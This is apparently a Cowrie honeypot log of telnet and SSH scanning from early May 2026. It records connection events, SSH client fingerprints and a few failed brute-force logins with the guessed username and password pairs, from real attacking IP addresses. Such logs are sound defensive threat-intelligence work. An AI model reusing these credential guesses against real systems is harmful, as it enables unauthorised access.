{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52290,"dst_ip":"159.203.135.109","dst_port":23,"session":"6043436426d8","protocol":"telnet","message":"New connection: 204.10.38.242:52290 (159.203.135.109:23) [session: 6043436426d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.860667Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52728,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9d7c6cfecb6","protocol":"telnet","message":"New connection: 204.10.38.242:52728 (159.203.135.109:23) [session: a9d7c6cfecb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:51.952641Z"}
{"eventid":"cowrie.session.closed","duration":30.288090467453003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:52.158411Z","src_ip":"204.10.38.242","session":"c88bd2aba42c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84756064414978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:52.213147Z","src_ip":"204.10.38.242","session":"f7c96b167e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38932,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e9bd1ec6fef","protocol":"telnet","message":"New connection: 204.10.38.242:38932 (159.203.135.109:23) [session: 3e9bd1ec6fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:52.292851Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55264,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c5bcaf1c199","protocol":"telnet","message":"New connection: 204.10.38.242:55264 (159.203.135.109:23) [session: 3c5bcaf1c199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:52.454882Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55954,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aeb22439016","protocol":"telnet","message":"New connection: 204.10.38.242:55954 (159.203.135.109:23) [session: 0aeb22439016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:52.580871Z"}
{"eventid":"cowrie.session.closed","duration":30.92597508430481,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:53.064579Z","src_ip":"204.10.38.242","session":"125448bb8a7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06778311729431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.047513Z","src_ip":"204.10.38.242","session":"4df70779d7a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81539750099182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.095096Z","src_ip":"204.10.38.242","session":"1e84c6c8f2cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805437088012695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.111730Z","src_ip":"204.10.38.242","session":"3811f7738a93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14446449279785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.115963Z","src_ip":"204.10.38.242","session":"4c2e70009334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":47864,"dst_ip":"159.203.135.109","dst_port":22,"session":"6123e0ac9047","protocol":"ssh","message":"New connection: 171.244.141.86:47864 (159.203.135.109:22) [session: 6123e0ac9047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.192355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.197043Z","src_ip":"171.244.141.86","session":"6123e0ac9047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35368,"dst_ip":"159.203.135.109","dst_port":23,"session":"246a08c7318d","protocol":"telnet","message":"New connection: 204.10.38.242:35368 (159.203.135.109:23) [session: 246a08c7318d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.310036Z"}
{"eventid":"cowrie.session.closed","duration":33.241554498672485,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.380037Z","src_ip":"204.10.38.242","session":"3dd29035ef2f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.443465Z","src_ip":"171.244.141.86","session":"6123e0ac9047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60110,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d62f68a6fce","protocol":"telnet","message":"New connection: 204.10.38.242:60110 (159.203.135.109:23) [session: 4d62f68a6fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:54.524698Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40210,"dst_ip":"159.203.135.109","dst_port":23,"session":"af53d98962a4","protocol":"telnet","message":"New connection: 204.10.38.242:40210 (159.203.135.109:23) [session: af53d98962a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:55.315491Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36112,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c2131e8caf4","protocol":"telnet","message":"New connection: 204.10.38.242:36112 (159.203.135.109:23) [session: 8c2131e8caf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:55.423025Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Dd","message":"login attempt [root/123456Dd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:55.462272Z","src_ip":"171.244.141.86","session":"6123e0ac9047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41774,"dst_ip":"159.203.135.109","dst_port":23,"session":"43abfc00dfd8","protocol":"telnet","message":"New connection: 204.10.38.242:41774 (159.203.135.109:23) [session: 43abfc00dfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:55.561782Z"}
{"eventid":"cowrie.session.closed","duration":30.82485795021057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:55.606757Z","src_ip":"204.10.38.242","session":"a7e1983c768f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43850,"dst_ip":"159.203.135.109","dst_port":23,"session":"561375530b22","protocol":"telnet","message":"New connection: 204.10.38.242:43850 (159.203.135.109:23) [session: 561375530b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:56.007742Z"}
{"eventid":"cowrie.session.closed","duration":30.653069496154785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:56.039098Z","src_ip":"204.10.38.242","session":"26bc4e936955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881412982940674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:56.181835Z","src_ip":"204.10.38.242","session":"35df37014b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44990,"dst_ip":"159.203.135.109","dst_port":23,"session":"61918ed1fc3c","protocol":"telnet","message":"New connection: 204.10.38.242:44990 (159.203.135.109:23) [session: 61918ed1fc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:56.303261Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40128,"dst_ip":"159.203.135.109","dst_port":23,"session":"a309fe5df09e","protocol":"telnet","message":"New connection: 204.10.38.242:40128 (159.203.135.109:23) [session: a309fe5df09e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:56.314736Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:56.710350Z","src_ip":"171.244.141.86","session":"6123e0ac9047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50644,"dst_ip":"159.203.135.109","dst_port":23,"session":"13e894ffde89","protocol":"telnet","message":"New connection: 204.10.38.242:50644 (159.203.135.109:23) [session: 13e894ffde89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:57.380939Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50768,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2d5de6be243","protocol":"telnet","message":"New connection: 204.10.38.242:50768 (159.203.135.109:23) [session: a2d5de6be243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:57.388934Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45776,"dst_ip":"159.203.135.109","dst_port":23,"session":"e45b29b87833","protocol":"telnet","message":"New connection: 204.10.38.242:45776 (159.203.135.109:23) [session: e45b29b87833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:57.418835Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51832,"dst_ip":"159.203.135.109","dst_port":23,"session":"f36f05d9868e","protocol":"telnet","message":"New connection: 204.10.38.242:51832 (159.203.135.109:23) [session: f36f05d9868e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:57.590348Z"}
{"eventid":"cowrie.session.closed","duration":31.444029808044434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:57.932485Z","src_ip":"204.10.38.242","session":"ca43009b8480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70677137374878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:58.118019Z","src_ip":"204.10.38.242","session":"09424f19ae98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70258116722107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:58.165036Z","src_ip":"204.10.38.242","session":"f6ec3e2d88c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57744,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c76b7bf2d6","protocol":"telnet","message":"New connection: 204.10.38.242:57744 (159.203.135.109:23) [session: 68c76b7bf2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:58.826983Z"}
{"eventid":"cowrie.session.closed","duration":31.110642194747925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:59.294576Z","src_ip":"204.10.38.242","session":"37214f2ad7e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59856,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e403050b1db","protocol":"telnet","message":"New connection: 204.10.38.242:59856 (159.203.135.109:23) [session: 5e403050b1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:59.349963Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55370,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b9ac2e2ea6","protocol":"telnet","message":"New connection: 204.10.38.242:55370 (159.203.135.109:23) [session: 78b9ac2e2ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:59.368367Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58944,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd8e4867cbd","protocol":"telnet","message":"New connection: 204.10.38.242:58944 (159.203.135.109:23) [session: 5dd8e4867cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:00.149885Z"}
{"eventid":"cowrie.session.closed","duration":31.033302068710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:00.218030Z","src_ip":"204.10.38.242","session":"89e6b58c2d22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27901339530945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:00.293315Z","src_ip":"204.10.38.242","session":"ba260c96457e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36742,"dst_ip":"159.203.135.109","dst_port":23,"session":"b66fb66f8580","protocol":"telnet","message":"New connection: 204.10.38.242:36742 (159.203.135.109:23) [session: b66fb66f8580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:00.371741Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":58818,"dst_ip":"159.203.135.109","dst_port":22,"session":"c42a257923e9","protocol":"ssh","message":"New connection: 103.146.202.174:58818 (159.203.135.109:22) [session: c42a257923e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:00.745318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:00.749107Z","src_ip":"103.146.202.174","session":"c42a257923e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:00.991886Z","src_ip":"103.146.202.174","session":"c42a257923e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42724,"dst_ip":"159.203.135.109","dst_port":23,"session":"48bffe5d459e","protocol":"telnet","message":"New connection: 204.10.38.242:42724 (159.203.135.109:23) [session: 48bffe5d459e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:01.443319Z"}
{"eventid":"cowrie.session.closed","duration":31.379817247390747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:01.734619Z","src_ip":"204.10.38.242","session":"d324ea439542","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx#EDC4rfv","message":"login attempt [root/2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:01.999865Z","src_ip":"103.146.202.174","session":"c42a257923e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54464,"dst_ip":"159.203.135.109","dst_port":23,"session":"d501d2f532b6","protocol":"telnet","message":"New connection: 204.10.38.242:54464 (159.203.135.109:23) [session: d501d2f532b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:02.167974Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41348,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a2b1868948","protocol":"telnet","message":"New connection: 204.10.38.242:41348 (159.203.135.109:23) [session: 26a2b1868948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:02.329252Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46692,"dst_ip":"159.203.135.109","dst_port":23,"session":"58e31010837e","protocol":"telnet","message":"New connection: 204.10.38.242:46692 (159.203.135.109:23) [session: 58e31010837e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:02.345007Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47308,"dst_ip":"159.203.135.109","dst_port":23,"session":"8722dc1242cf","protocol":"telnet","message":"New connection: 204.10.38.242:47308 (159.203.135.109:23) [session: 8722dc1242cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:02.406917Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49042,"dst_ip":"159.203.135.109","dst_port":23,"session":"adbe2a4501d4","protocol":"telnet","message":"New connection: 204.10.38.242:49042 (159.203.135.109:23) [session: adbe2a4501d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:02.698084Z"}
{"eventid":"cowrie.session.closed","duration":30.531912565231323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:03.114769Z","src_ip":"204.10.38.242","session":"50d43686d948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774477243423462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:03.119876Z","src_ip":"204.10.38.242","session":"ed1f04c39ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.71038246154785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:03.149020Z","src_ip":"204.10.38.242","session":"7bde6802847b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:03.246040Z","src_ip":"103.146.202.174","session":"c42a257923e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":58196,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a7efa8e466","protocol":"ssh","message":"New connection: 80.94.92.182:58196 (10.17.0.5:22) [session: 37a7efa8e466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:03.695921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:03.964325Z","src_ip":"80.94.92.182","session":"37a7efa8e466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:03.968342Z","src_ip":"80.94.92.182","session":"37a7efa8e466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56834,"dst_ip":"159.203.135.109","dst_port":23,"session":"98c589601595","protocol":"telnet","message":"New connection: 204.10.38.242:56834 (159.203.135.109:23) [session: 98c589601595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:04.391996Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54428,"dst_ip":"159.203.135.109","dst_port":23,"session":"6947742d59b9","protocol":"telnet","message":"New connection: 204.10.38.242:54428 (159.203.135.109:23) [session: 6947742d59b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:04.821183Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:05.825653Z","src_ip":"80.94.92.182","session":"37a7efa8e466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56186,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad7039815253","protocol":"telnet","message":"New connection: 185.26.126.47:56186 (159.203.135.109:23) [session: ad7039815253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:54:06.194256Z"}
